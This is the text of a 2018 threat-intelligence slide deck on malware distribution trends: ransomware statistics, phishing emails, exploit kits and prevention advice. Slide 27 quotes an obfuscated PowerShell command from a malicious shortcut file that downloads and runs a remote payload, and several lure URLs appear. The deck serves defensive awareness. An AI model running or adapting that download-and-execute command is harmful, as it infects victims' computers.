Bradley Duncan - Palo Alto Networks Unit 42

1. Brad Duncan
Palo Alto Networks
MALWARE DISTRIBUTION TRENDS
OCTOBER 2018

2. Introduction
@malware_traffic

3. Disclaimer
I focus on mass-
distribution
methods,
not targeted
attacks

4. Overview
• Types of malware
• Distribution methods
• Prevention strategies

5. Types of malware
• In wide-scale distribution, we most often find:
• Information stealers / backdoors
• Malware downloaders
• Cryptocurrency miners
• Ransomware

6. Ransomware
malware that locks
your computer or files
and holds them for
ransom

7. ransomware
other malware
September 2018 - 1,888,929 samples
142,336
1,746,563
7.5%

8. Virlock
Gandcrab
Other
Ransomware - 142,366 samples
109,734
20,159
: 12,473

9. .toqfrx
ENCRYPTED BY GANDCRAB 5.0.4
Gandcrab

10. Gandcrab

11. Gandcrab

12. Gandcrab
Payment amount: 5.32481363 DSH ( $1,000.00 )

13. Gandcrab
Payment amount: 0.16691958 DSH ( $1,000.00 +10.0% )

14. ...ransomware has moved towards large network-wide
breaches by variants like SamSam, BitPaymer, and
Dharma over publicly exposed remote desktop
services.
Ransomware
This Week in Ransomware – September
28th 2018 – RDP and gandCrab
large network-wide
breaches
publicly exposed remote desktop
services

15. • In wide-scale distribution, we most often find:
• Information stealers / backdoors
• Malware downloaders
• Cryptocurrency miners
• Ransomware
Types of malware

16. Up next...
• Types of malware
• Distribution methods
• Prevention strategies

17. How is malware spread?
• Email
• Social media
• The web
• Worm-style propagation
• Attackers breach networks

18. Distribution through Email
By volume, email
remains the most
common method
criminals use to
distribute
malware.

19. • Archives with malware executables
• Microsoft Office documents
• RTF documents that exploit Microsoft Office
• Archives with other types of files
• Links to malware
These emails contain:
Distribution through Email

20. • Archives with malware executables
• Microsoft Office documents
• RTF documents that exploit Microsoft Office
• Archives with other types of files
• Links to malware
These emails contain:
Distribution through Email

21. Subject: You've received eFax Message
From: "eFax j2 Global" <efax@flumepsychiatry.com>
Date: Monday, 2018-10-01 17:41 UTC
Distribution through Email

22. Subject: You've received eFax Message
From: "eFax j2 Global" <efax@flumepsychiatry.com>
Date: Monday, 2018-10-01 17:41 UTC
Distribution through Email
http://pitchbocaraton.com?
82a1=APYBKsCs3LUw

23. Distribution through Email

24. Distribution through Email

25. Subject: Orçamento de produtos [34626] - DAF Incorporadora Ltda
From: <financeiro3386@dafincorp2.mittup.site>
Date: Wednesday, 2018-09-26 07:21 UTC
Distribution through Email
Olá, Bom dia,
Venho por meio desta E-mail solicitar o orçamento
dos produtos especificados na planilha disponível
abaixo.
Obrigado!
- DAF Incorporadora Ltda
Anexo-Orcamento25092018.zip

26. Distribution through Email
Anexo-
Orcamento25
092018.zip
Oráamento - DAF
Incorporadora Ltda -
5XB3.lnk

27. Distribution through Email
C:Windowssystem32cmd.exe /V /C
C:WindowsSystem32WindowsPO^WerSHEllv1.0Po
^wErSH^eLL.e^xe -nop -win 1 Get-Member; Get-
NetDomain; Write-Warning 'above cEMO to NJEu a
Emy which dot6wnload and exec6ute the mIHK';
IeX(iEX('(New-{0}ect N{1}bClient)."DowNloAdsTRiNG
"("""{2}.us-east{3}?tk=kkA""")' -f 'Obj’, 'et.We’, 'https://
s3’,’-2.amazonaws.com/knoimeldlapasta/marai.bmp
'));Get-NetDomain

28. Distribution through Social Media

29. Distribution through Social Media
好好玩儿! 好好学习! | 7:30 PM
ッヨー http://www.bit.ly/23rp4hn?profile_image=
Today

30. Distribution through the Web

31. Distribution through the Web
Unexpected web pages
or pop-up windows
Exploit kits

32. Distribution through the Web

33. Distribution through the Web

34. criminal's malware
user's computer
Exploit Kits

35. Exploit kits are web servers that
use exploits to take advantage of
vulnerabilities in browser-based
applications to infect a Windows
computer without the user's
knowledge.
Exploit Kits

36. • Flash player
• Web browser
• Silverlight
• Java, PDF
Exploit Kits

37. Normal
website
MALICIOUS AD
GATE
Exploit
kit
server
Exploit Kits

38. Up next...
• Types of malware
• Distribution methods
• Prevention strategies

39. Prevention Strategies
• Keep regular backups of
critical data and test them.
• Training and awareness.
• Keep your systems up-to-date
and fully patched.
• Threat detection, prevention
and protection solutions.

40. Summary
• Types of malware
• Distribution methods
• Prevention strategies

41. Brad Duncan
Threat Intelligence Analyst
Thank you!
MALWARE DISTRIBUTION TRENDS
OCTOBER 2018